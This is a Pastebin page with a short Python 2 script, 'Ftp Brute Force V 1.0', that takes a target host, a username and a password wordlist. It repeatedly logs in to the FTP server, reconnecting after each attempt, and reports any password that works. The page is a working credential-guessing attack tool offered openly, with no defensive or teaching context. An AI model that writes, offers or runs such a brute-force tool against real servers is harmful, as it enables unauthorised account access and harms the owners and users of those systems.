Advertisement
Guest User

Untitled

a guest
May 8th, 2017
542
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.41 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import sys
  4. from ftplib import FTP
  5. from string import *
  6.  
  7. print "[*] Ftp Brute Force V 1.0 By naryto_pr0"
  8. targetNum = len(sys.argv)
  9. if targetNum <= 3 :
  10.     print "\tUsage:",sys.argv[0], " [target] [username] [passwords file]"
  11.     print "\tExample: ",sys.argv[0], "127.0.0.1 naruto password.txt\n"
  12.     exit(-1)
  13. def CoNet(debugg):
  14.     try:
  15.         global site
  16.         site = FTP(sys.argv[1])
  17.         if debugg: print "[*] Connected to ", sys.argv[1]
  18.     except:
  19.         print "[-] Host ", sys.argv[1], " seem down!\n"
  20.         exit(-1)
  21.  
  22. CoNet(1)
  23. DicFile = file(sys.argv[3])
  24. DicLines = DicFile.readlines()
  25. TotalPassword = []
  26. for DicLine in DicLines:
  27.     Password = rstrip(DicLine) 
  28.     try:
  29.         if site.login(sys.argv[2], Password):
  30.             print "[+] Logged in with USER: [", sys.argv[2], "], PASSWORD: [", Password, "]"
  31.             TotalPassword[0:0] = [Password]
  32.             #print "[*] Disconnecting..."
  33.             site.quit()
  34.             #print "[*] Reconnecting..."
  35.             CoNet(0)           
  36.     except:
  37.         #print "[-] Worrong Password: ", Password
  38.         site.quit()
  39.         CoNet(0)
  40. print "[*] Done.\n"
  41. if(len(TotalPassword) > 0):
  42.     CurrentPwd = 1
  43.     print "[+] Founded passwords: ", len(TotalPassword), "From: ", len(DicLines)
  44.     #print "[+] List of passwords: "
  45.     #print "+-----------------------+"
  46.     #for passwd in TotalPassword:
  47.         #print "[", CurrentPwd, "] ", passwd
  48.         #CurrentPwd += 1
  49.     #print "+-----------------------+"
  50. else:
  51.     print "[-] No password found!"
  52.  
  53. print "[*] Close."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement